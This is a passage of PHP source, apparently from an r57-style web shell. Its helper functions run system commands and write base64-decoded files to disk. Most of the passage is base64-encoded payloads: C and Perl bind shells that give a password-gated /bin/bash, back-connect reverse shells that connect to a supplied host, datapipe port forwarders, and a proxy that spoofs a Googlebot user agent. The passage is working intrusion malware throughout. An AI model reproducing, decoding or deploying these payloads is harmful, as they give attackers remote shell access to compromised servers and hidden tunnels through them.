3471$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
3472
3473$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
3474
3475return trim($s);
3476
3477}
3478
3479function in($type,$name,$size,$value,$checked=0)
3480
3481{
3482
3483 $ret = "<input type=".$type." name=".$name." ";
3484
3485 if($size != 0) { $ret .= "size=".$size." "; }
3486
3487 $ret .= "value=\"".$value."\"";
3488
3489 if($checked) $ret .= " checked";
3490
3491 return $ret.">";
3492
3493}
3494
3495function which($pr)
3496
3497{
3498
3499$path = '';
3500
3501$path = ex("which $pr");
3502
3503if(!empty($path)) { return $path; } else { return false; }
3504
3505}
3506
3507function ps($pr)
3508
3509{global $unix;
3510
3511$path = '';
3512
3513if($unix){$path = ex("ps -aux | grep $pr | grep -v 'grep'");}
3514
3515else{$path = ex("tasklist | findstr \"$pr\"");}
3516
3517if(!empty($path)) { return $path; } else { return false; }
3518
3519}
3520
3521function locate($pr)
3522
3523{
3524
3525$path = '';
3526
3527$path = ex("locate $pr");
3528
3529if(!empty($path)) { return $path; } else { return false; }
3530
3531}
3532
3533function cf($fname,$text)
3534
3535{
3536
3537 if(!morewrite($fname,@base64_decode($text))){err(0);};
3538
3539}
3540
3541function sr($l,$t1,$t2)
3542
3543 {
3544
3545 return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
3546
3547 }
3548
3549if (!@function_exists("view_size"))
3550
3551{
3552
3553function view_size($size)
3554
3555{
3556
3557 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
3558
3559 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
3560
3561 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
3562
3563 else {$size = $size . " B";}
3564
3565 return $size;
3566
3567}
3568
3569}
3570
3571 function DirFilesR($dir,$types='')
3572
3573 {
3574
3575 $files = Array();
3576
3577 if(($handle = @opendir($dir)))
3578
3579 {
3580
3581 while (false !== ($file = @readdir($handle)))
3582
3583 {
3584
3585 if ($file != "." && $file != "..")
3586
3587 {
3588
3589 if(@is_dir($dir."/".$file))
3590
3591 $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
3592
3593 else
3594
3595 {
3596
3597 $pos = @strrpos($file,".");
3598
3599 $ext = @substr($file,$pos,@strlen($file)-$pos);
3600
3601 if($types)
3602
3603 {
3604
3605 if(@in_array($ext,explode(';',$types)))
3606
3607 $files[] = $dir."/".$file;
3608
3609 }
3610
3611 else
3612
3613 $files[] = $dir."/".$file;
3614
3615 }
3616
3617 }
3618
3619 }
3620
3621 @closedir($handle);
3622
3623 }
3624
3625 return $files;
3626
3627 }
3628
3629 class SearchResult
3630
3631 {
3632
3633 var $text;
3634
3635 var $FilesToSearch;
3636
3637 var $ResultFiles;
3638
3639 var $FilesTotal;
3640
3641 var $MatchesCount;
3642
3643 var $FileMatschesCount;
3644
3645 var $TimeStart;
3646
3647 var $TimeTotal;
3648
3649 var $titles;
3650
3651 function SearchResult($dir,$text,$filter='')
3652
3653 {
3654
3655 $dirs = @explode(";",$dir);
3656
3657 $this->FilesToSearch = Array();
3658
3659 for($a=0;$a<count($dirs);$a++)
3660
3661 $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
3662
3663 $this->text = $text;
3664
3665 $this->FilesTotal = @count($this->FilesToSearch);
3666
3667 $this->TimeStart = getmicrotime();
3668
3669 $this->MatchesCount = 0;
3670
3671 $this->ResultFiles = Array();
3672
3673 $this->FileMatchesCount = Array();
3674
3675 $this->titles = Array();
3676
3677 }
3678
3679 function GetFilesTotal() { return $this->FilesTotal; }
3680
3681 function GetTitles() { return $this->titles; }
3682
3683 function GetTimeTotal() { return $this->TimeTotal; }
3684
3685 function GetMatchesCount() { return $this->MatchesCount; }
3686
3687 function GetFileMatchesCount() { return $this->FileMatchesCount; }
3688
3689 function GetResultFiles() { return $this->ResultFiles; }
3690
3691 function SearchText($phrase=0,$case=0) {
3692
3693 $qq = @explode(' ',$this->text);
3694
3695 $delim = '|';
3696
3697 if($phrase)
3698
3699 foreach($qq as $k=>$v)
3700
3701 $qq[$k] = '\b'.$v.'\b';
3702
3703 $words = '('.@implode($delim,$qq).')';
3704
3705 $pattern = "/".$words."/";
3706
3707 if(!$case)
3708
3709 $pattern .= 'i';
3710
3711 foreach($this->FilesToSearch as $k=>$filename)
3712
3713 {
3714
3715 $this->FileMatchesCount[$filename] = 0;
3716
3717 $FileStrings = @file($filename) or @next;
3718
3719 for($a=0;$a<@count($FileStrings);$a++)
3720
3721 {
3722
3723 $count = 0;
3724
3725 $CurString = $FileStrings[$a];
3726
3727 $CurString = @Trim($CurString);
3728
3729 $CurString = @strip_tags($CurString);
3730
3731 $aa = '';
3732
3733 if(($count = @preg_match_all($pattern,$CurString,$aa)))
3734
3735 {
3736
3737 $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
3738
3739 $this->ResultFiles[$filename][$a+1] = $CurString;
3740
3741 $this->MatchesCount += $count;
3742
3743 $this->FileMatchesCount[$filename] += $count;
3744
3745 }
3746
3747 }
3748
3749 }
3750
3751 $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
3752
3753 }
3754
3755 }
3756
3757 function getmicrotime()
3758
3759 {
3760
3761 list($usec,$sec) = @explode(" ",@microtime());
3762
3763 return ((float)$usec + (float)$sec);
3764
3765 }
3766
3767$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
3768
3769A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
3770
3771GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
3772
3773b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
3774
3775pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
3776
3777NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
3778
3779ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
3780
3781ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
3782
37837DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
3784
37859tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
3786
37872ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
3788
3789dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
3790
3791lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
3792
3793$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
3794
3795VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
3796
3797JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
3798
3799TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
3800
3801lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
3802
3803Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
3804
3805Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
3806
3807lIENPTk47DQpleGl0IDA7DQp9DQp9";
3808
3809$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
3810
3811aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
3812
3813hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
3814
3815sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
3816
3817kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
3818
3819KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
3820
3821OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
3822
3823$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
3824
3825BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
3826
3827SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
3828
3829KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
3830
3831sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
3832
3833Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
3834
3835QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
3836
3837Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
3838
3839$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
3840
3841x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
3842
3843HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
3844
3845aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
3846
3847lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
3848
3849xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
3850
3851W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
3852
3853LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
3854
3855udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
3856
38570KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
3858
3859iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
3860
3861KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
3862
3863gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
3864
3865hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
3866
3867iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
3868
3869ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
3870
3871vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
3872
3873AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
3874
3875QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
3876
3877ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
3878
3879gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
3880
3881wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
3882
388329jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
3884
3885MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
3886
3887gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
3888
38895zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
3890
3891HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
3892
3893dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
3894
3895KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
3896
3897ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
3898
3899E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
3900
3901Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
3902
3903NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
3904
3905J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
3906
3907CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
3908
3909dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
3910
3911gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
3912
3913lsZSk7DQogIHJldHVybiAwOw0KfQ==";
3914
3915$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
3916
3917CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
3918
3919bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
3920
3921gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
3922
3923NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
3924
3925iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
3926
3927aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
3928
3929SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
3930
3931xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
3932
3933WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
3934
3935CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
3936
3937yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
3938
3939I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
3940
3941m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
3942
3943IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
3944
3945lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
3946
3947QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
3948
3949CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
3950
3951c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
3952
3953NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
3954
3955UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
3956
3957DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
3958
3959ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
3960
39611ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
3962
3963$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
3964
3965luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
3966
39670NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
3968
3969UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
3970
3971DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
3972
3973AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
3974
3975GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
3976
3977cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
3978
3979BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
3980
3981AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
3982
3983TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
3984
